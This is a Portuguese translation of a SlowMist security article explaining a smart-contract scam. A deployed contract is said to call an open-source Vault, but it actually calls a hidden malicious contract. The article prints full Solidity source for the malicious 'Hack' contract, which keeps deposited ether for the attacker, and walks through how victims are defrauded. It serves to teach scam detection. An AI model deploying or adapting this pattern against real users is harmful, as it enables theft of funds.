Contexto
Neste artigo, vamos orientá-lo sobre como identificar códigos maliciosos escondidos em contratos.
Conhecimento prévio
Lembra-se de quando falamos sobre a implantação de contratos de ataque, em edições anteriores? Mencionamos que o endereço do contrato alvo é passado e que as funções do contrato alvo podem ser chamadas de dentro do contrato de ataque. Alguns invasores usam isso para enganar suas vítimas. Por exemplo, eles podem implantar o contrato A e dizer a sua vítima que o endereço do contrato B será passado durante a implantação do contrato A e que o contrato B é de código aberto. Entretanto, na realidade, o endereço do contrato C é passado durante a implantação do contrato A. Se a vítima confia que não verificaram a transação que implantou o contrato A, o invasor escondeu com sucesso seu código malicioso no contrato C. Este conceito é ilustrado na figura a seguir:
A maneira como o usuário pensa que o caminho da chamada funciona:
Eles implantam o contrato A e passam o endereço do contrato B, de modo que o caminho da chamada é o esperado.
Mas na realidade, o caminho da chamada real é:
Eles implantam o contrato A e passam o endereço do contrato C. Portanto, o caminho da chamada é inesperado.
Para entender melhor este scam (esquema ilegal), vamos dar uma olhada em um exemplo simples:
Código Malicioso
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;
contract MoneyMaker { Vault vault;
constructor(address _vault) { vault = Vault(payable(_vault)); }
function makeMoney(address recipient) public payable { require(msg.value >= 1, "You are so poor!");
uint256 amount = msg.value * 2;
(bool success, ) = address(vault).call{value: msg.value, gas: 2300}(""); require(success, "Send failed");
vault.transfer(recipient, amount); }}
contract Vault { address private maker; address private owner; uint256 transferGasLimit;
constructor() payable { owner = msg.sender; transferGasLimit = 2300; }
modifier OnlyMaker() { require(msg.sender == maker, "Not MoneyMaker contract!"); _; }
modifier OnlyOwner() { require(msg.sender == owner, "Not owner!"); _; }
function setMacker(address _maker) public OnlyOwner { maker = _maker; }
function transfer(address recipient, uint256 amount) external OnlyMaker { require(amount <= address(this).balance, "Game Over~");
(bool success, ) = recipient.call{value: amount, gas: transferGasLimit}( "" ); require(success, "Send failed"); }
function withrow() public OnlyOwner { (bool success, ) = owner.call{ value: address(this).balance, gas: transferGasLimit }(""); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {}}
//Este código está escondido em um arquivo filecontract Hack separado { event taunt(string message); address private evil;
constructor(address _evil) { evil = _evil; }
modifier OnlyEvil() { require(msg.sender == evil, "What are you doing?"); _; }
function transfer() public payable { emit taunt("Haha, your ether is mine!"); }
function withrow() public OnlyEvil { (bool success, ) = evil.call{value: address(this).balance, gas: 2300}( "" ); require(success, "Send failed"); }
receive() external payable {}
fallback() external payable {}}
Análise da Fraude
Como podemos ver no código acima, há três contratos envolvidos. Para entender melhor os papéis de cada contrato, podemos usar nossos conhecimentos pré-existentes para distingui-los da seguinte forma:
O contrato denominado "MoneyMaker" representa o contrato A.
O contrato denominado "Vault" representa o contrato B.
O contrato denominado "Hack" representa o contrato C.
Portanto, o caminho de chamada que o usuário espera é:
MoneyMaker -> Vault
Entretanto, o caminho de chamada real é:
MoneyMaker -> Hack
Isto significa que o usuário está sendo levado a acreditar que está interagindo com o contrato B, quando na realidade, está interagindo com o contrato C, que é o que contém o código malicioso.
Vamos dar uma olhada em como o invasor executa o scam:
- O invasor implanta o contrato Vault(B) e reserva um fundo de 100 ETH nele e depois abre o contrato Vault(B) na Blockchain.
- O invasor implanta o contrato malicioso Hack(C).
- O invasor divulga a notícia de que eles estarão implantando um contrato de código-fonte aberto chamado MoneyMaker(A). Durante a implantação, o endereço do contrato Vault(B) será passado e a função Vault.setMacker() será chamada para definir o papel do criador para o endereço do contrato MoneyMaker. Qualquer pessoa que chamar a função MoneyMaker.makeMoney() e colocar no mínimo 1 ETH no contrato receberá o dobro da devolução do ether.
- Bob ouve as notícias e fica sabendo da existência do contrato MoneyMaker. Ele lê os códigos dos contratos MoneyMaker(A) e Vault(B) e verifica o saldo no contrato Vault(B). Ele descobre que a lógica é exatamente como o invasor disse. Ele não suspeita do invasor e não verifica a transação de implantação da MoneyMaker(A)
- Bob chama a função MoneyMaker.makeMoney() e coloca seu patrimônio líquido total de 20 ETH no contrato. Enquanto espera receber 40 ETH do contrato Vault(B), ele recebe a mensagem "Haha, seu ether é meu!", pois o invasor conseguiu enganá-lo ao implantar o contrato malicioso Hack(C) e passar seu endereço ao invés do endereço do contrato Vault(B) durante a implantação do contrato MoneyMaker(A).
Este scam é simples, mas comum. O atacante implanta o contrato MoneyMaker e em vez de passar o endereço do contrato Vault, eles passam o endereço do contrato Hack. Assim, quando Bob chama a função MoneyMaker.makeMoney(), ele não chama a função Vault.transfer() como ele esperava, que devolveria o dobro do ether, mas chama a função Hack.transfer() que aciona um evento "Haha, seu ether é meu! Finalmente, o Evil (o Mal) chama a função Vault.withrow() para transferir os 100 ETH no contrato Vault e transfere os 20 ETH transferidos pelo Bob através da função Hack.withrow().
Desta forma, o invasor é capaz de roubar o ether de Bob, induzindo-o a pensar que ele está interagindo com um contrato legítimo, enquanto na realidade ele está interagindo com um contrato malicioso. Este scam é bem sucedido porque o invasor escondeu o contrato malicioso por trás de uma fachada de legitimidade e confiança e Bob não verifica o endereço real do contrato com o qual ele está interagindo.
Conselhos de prevenção
Na floresta escura da Ethereum, a única coisa em que você pode confiar é em si mesmo. Não confie cegamente em nenhum contrato. Os registros de transações na blockchain não podem ser alterados, então somente verificando a transação correspondente, você mesmo pode confiar que o que a outra parte está dizendo é verdade. Sempre faça sua própria pesquisa e a devida diligência antes de fazer quaisquer transações ou interações na rede Ethereum.
Este artigo foi escrito por SlowMist e traduzido por Fátima Lima. O original pode ser lido aqui.
Oldest comments (0)